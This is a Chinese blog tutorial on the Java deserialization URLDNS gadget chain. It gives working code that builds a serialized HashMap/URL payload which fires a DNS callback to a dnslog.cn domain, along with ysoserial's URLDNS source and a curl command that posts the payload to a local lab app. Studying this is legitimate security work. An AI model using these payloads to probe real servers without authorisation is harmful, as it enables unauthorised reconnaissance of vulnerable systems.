Java反序列化漏洞之URLDNS利用链(7)
2023-06-15 17:11:21 # Web Security # Java Deserialization

前言

尽管我们已经了解了一些反序列化漏洞的知识,但有什么办法能够快速检测反序列化的点吗?URLDNS能够帮助我们实现这一点。URLDNS不依赖第三方库,不限制jdk版本。

但URLDNS不能执行命令,仅能用于发送DNS请求,以来验证是否有反序列化代码readObject()存在。

简易利用链及利用方法

URLDNS平台

学习该章,推荐使用http://www.dnslog.cn

点击Get SubDomain可以得到一个域名。

image-20211116201121893

简易利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap<URL, String> hashMap = new HashMap<URL, String>();// 定义一个hashMap,key为URL,value为String
URL url = new URL("http://e3h66m.dnslog.cn");// 设置我们触发dns查询的url

// 下面在put前修改url的hashcode为非-1的值,put后将hashcode修改为-1
// 1. 将url的hashCode字段设置为允许修改
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
// 2. 设置url的hashCode字段为任意不为-1的值
f.set(url, 111);
System.out.println(url.hashCode()); // 获取hashCode的值,验证是否修改成功
// 3. 将 url 放入 hashMap 中,右边参数随便写
hashMap.put(url, "" +
"");
// 4. 修改url的hashCode字段为-1,为了触发DNS查询(之后会解释)
f.set(url, -1);

//序列化操作
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(hashMap);

//反序列化,触发payload
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();
}
}

运行上述代码后,刷新DNSURL平台页面,发现已有记录 - 利用成功。

简易利用链分析(Java 1.7)

HashMap.readObject()

我们在ois.readObject()处下断点,分析反序列化的过程。

image-20211116201341776

利用点主要在HashMap类下的readObject(),之前我们有讲过,readObject()方法是可以被复写的,所以之前的代码中的ois.readObject();实际上会call到我们序列化的HashMap中的readObject()

跟进去看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
s.defaultReadObject();//此处执行默认的readObject()方法
if (loadFactor <= 0 || Float.isNaN(loadFactor)) {//判断loadFactor的值是否合法
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
}

// 初始化一个空表
table = (Entry<K,V>[]) EMPTY_TABLE;

s.readInt(); // 获取key-value的个数

int mappings = s.readInt();
if (mappings < 0)//判断个数值是否合法
throw new InvalidObjectException("Illegal mappings count: " +
mappings);

//下面初始化Capacity
int capacity = (int) Math.min(
mappings * Math.min(1 / loadFactor, 4.0f),
// we have limits...
HashMap.MAXIMUM_CAPACITY);

// allocate the bucket array;
if (mappings > 0) {
inflateTable(capacity);
} else {
threshold = capacity;
}

init(); // Give subclass a chance to do its thing.

// Read the keys and values, and put the mappings in the HashMap
//获取keys和values,并进行PUT操作
for (int i = 0; i < mappings; i++) {
K key = (K) s.readObject();//获取key
V value = (V) s.readObject();//获取value
putForCreate(key, value);//重点在此处
}
}

putForCreate()

继续跟进putForCreate(key,value)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private void putForCreate(K key, V value) {
int hash = null == key ? 0 : hash(key);//*判断key是否为空,如果不为空,计算key的hash值*
int i = indexFor(hash, table.length);

/**
* Look for preexisting entry for key. This will never happen for
* clone or deserialize. It will only happen for construction if the
* input Map is a sorted map whose ordering is inconsistent w/ equals.
*/
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash &&
((k = e.key) == key || (key != null && key.equals(k)))) {
e.value = value;
return;
}
}

createEntry(hash, key, value, i);
}

hash()

注意我们这里call的是hash(key),我们看看hash()是怎么实现的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
final int hash(Object k) {//此处k为我们传入的HashMap的key
int h = hashSeed;//此处会获取hashSeed(默认为0)
if (0 != h && k instanceof String) {//如果hashSeed不为0,且传入的Object为String的话执行下面代码
return sun.misc.Hashing.stringHash32((String) k);
}

h ^= k.hashCode();//否则执行传入的object的hashCode

// This function ensures that hashCodes that differ only by
// constant multiples at each bit position have a bounded
// number of collisions (approximately 8 at default load factor).
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}

hashCode()

重点:很明显,k.hashCode()是指URL类的hashCode()方法,因为我们传入的是URL object,所以我们需要跟踪URL.hashCode();

1
2
3
4
5
6
7
public synchronized int hashCode() {
if (hashCode != -1)//如果hashCode不等于-1,那么我们就返回hashCode
return hashCode;

hashCode = handler.hashCode(this);//否则调用 handler.hashCode() 计算 hash 值 .
return hashCode;
}

此时我们仍然没有发现有触发DNS请求的地方,如果hashCode不等于-1,直接返回hashCode,我们的这条链就走不下去了,所以我们得保证hashCode等于-1,这样我们才能执行handler.hashCode(this);

由代码可知,hashCode默认值为-1

1
private int hashCode = -1;

但是当我们通过 HashMap.readObject() 方法获取 key 的值时 ,key 的HashCode 就不会为 -1 了(注释掉前面利用链代码中修改hashCode的部分进行断点调试),如下图:

image-20211116204410674

所以我们需要手动修改HashCode,让它为-1 - 这也是为什么简易利用链中用f.set(url, -1);设置hashCode为-1。但同时我们发现,在生成payload时的put()函数也会经过这条链:

image-20211116205521655

hash->URL.hashCode(),这样的话因为hashCode会保持默认值-1(在生成payload的操作中并没有改变hashCode)。image-20211116205741746

但我们不能让他在生成payload的时候就发送URLDNS请求,所以我们可以在生成payload - **执行hashMap.put()**之前改变hashCode的值,让它不为-1,在put完之后再改回-1方便payload被执行。

image-20211116210115810

handler.hashCode()

继续跟进hashCode = handler.hashCode(this);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();//获取协议
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);//获取地址
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}

// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();

// Generate the port part.
if (u.getPort() == -1)//获取端口
h += getDefaultPort();
else
h += u.getPort();

// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();

return h;
}

由代码可知,java会先获取protocol,所以我们在构造利用链的时候,需要将我们接收URLDNS的地址加上相应的协议(如http://)

getHostAddress()

我们继续跟进getHostAddress(u);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
protected synchronized InetAddress getHostAddress(URL u) {
if (u.hostAddress != null)//先判断该URL的hostAddress属性是否已经有值了
return u.hostAddress;//如果已有值,直接返回

String host = u.getHost();//获取Host
if (host == null || host.equals("")) {
return null;
} else {
try {
u.hostAddress = InetAddress.getByName(host);//获取IP地址,并把值赋给URL的hostAddress
} catch (UnknownHostException ex) {
return null;
} catch (SecurityException se) {
return null;
}
}
return u.hostAddress;
}

从上面我们可以看到,如果程序在之前已经执行过payload(或者已经访问过我们设置的DNS),就不会再触发第二次,因为已有缓存在hostAddress处。 所以我们需要提供一个没有被解析过的域名

InetAddress.getByName()

继续跟进InetAddress.getByName(host)

image-20211116210657890

image-20211116210710023

getAllByName()

一直跟进到getAllByName()

image-20211116211025208

image-20211116211130053

getAllByName0()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
private static InetAddress[] getAllByName0 (String host, InetAddress reqAddr, boolean check)
throws UnknownHostException {

/* If it gets here it is presumed to be a hostname */
/* Cache.get can return: null, unknownAddress, or InetAddress[] */

/* make sure the connection to the host is allowed, before we
* give out a hostname
*/
if (check) {//先判断连接是否被允许
SecurityManager security = System.getSecurityManager();
if (security != null) {
security.checkConnect(host, -1);
}
}

InetAddress[] addresses = getCachedAddresses(host);//从缓存中查找域名对应的IP地址

/* If no entry in cache, then do the host lookup */
if (addresses == null) {//如果缓存中没有记录
addresses = getAddressesFromNameService(host, reqAddr);//发起DNS请求
}

if (addresses == unknown_array)
throw new UnknownHostException(host);

return addresses.clone();
}

从上述代码,我们能够发现,getAddressesFromNameService()就是最终发起DNS请求的方法。

getAddressesFromNameService()

image-20211116211837716

简易利用链分析(Java 1.8)

Java1.8和1.7虽然代码有些许区别,但是最后也是会到hash()方法,然后接下来的链都是一样的

1
2
3
4
5
6
7
HashMap->readObject
HashMap->putval
HashMap->hash
URL->hashCode
URLStreamHandler->hashCode
URLStreamHandler->getHostAddress
.....

此处就不演示了。

Ysoserial中的利用链

巧妙的SilentURLStreamHandler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public class URLDNS implements ObjectPayload<Object> {

public Object getObject(final String url) throws Exception {

URLStreamHandler handler = new SilentURLStreamHandler();//avoid any DNS resolution

HashMap ht = new HashMap();
URL u = new URL(null, url, handler);
ht.put(u, url);
Reflections.setFieldValue(u, "hashCode", -1);

return ht;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}


static class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}

Ysoserial并没有像我们之前看到的简易利用链那样去用反射的方法在hashmap.put前修改hashCode的值,相反它用了一个非常聪明的办法:重写handler

SilentURLStreamHandler继承了URLStreamHandler(因为后者是abstract,不能被创建instance),里面包含两个method,一个是openConnection 一个是getHostAddress

其中getHostAddress ()我们非常熟悉,复习下之前的原生态getHostAddress的内容:

image-20211116214214813

在正常的利用链中,我们是会从getByName()一层层执行下去的,然而Ysoserial直接复写getHostAddress(),让他返回null,因此生成hashMap的时候利用链是不完整的,也就不会触发DNS请求

生成HashMap与URL

创建HashMap后,我们需要把URL放进hashmap中, 因为我们已经创建了一个handler,所以我们需要把handler赋给新创建的URL。

在URL的constructor中,我们可以看到,URLStreamHandler是可以自定义的

image-20211116214812588

1
2
3
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //value可以为任何值,这里Ysoserial把value设置为了我们的URLDNS接收的网址(url)

hashmapput完成后,过程中hashCode肯定还会变化(即使在检测hashCode!=-1的步骤那里我们满足了条件),我们仍需要将他改回**-1**,以便server在执行反序列化的时候,我们的payload可以生效。

1
Reflections.setFieldValue(u, "hashCode", -1);

序列化时的问题

我们刚刚提到,Ysoserial重写了**getHostAddress()**方法,那我们序列化后的object岂不是也是用这个复写后的方法,服务器进行反序列化时就不会触发URLDNS了?

Ysoserial也解释了这一点:

Since the field java.net.URL.handler is transient, it will not be part of the serialized payload.

image-20211116220202861

因为transient的存在,Ysoserial覆写的handler不会被序列化,因此我们的payload依然是可以被有效反序列化并触发的!

利用实现

这里我依然使用Java反序列化漏洞之使用Ysoserial(6)中所搭建的web环境(java1.7)。

在Ysoserial中配置:

image-20211116221349850

注意:在之前的分析中提到过,我们需要加上协议(http://)

Serializer.java:

image-20211116221003206

1
curl http://localhost:9090/webTest1_Web_exploded/test --data-binary @payload.ser

刷新URLDNS平台后成功收到记录:

image-20211116221323622

总结

URLDNS利用链从HashMap入手,到URL类自身的一系列methods连成利用链,包括YsoserialHandler的覆写和transient的理解,都十分巧妙。

Reference

Java反序列化-URLDNS

Java 反序列化漏洞(6) – 解密 YSoSerial : URLDNS POP Chain

java urldns利用链分析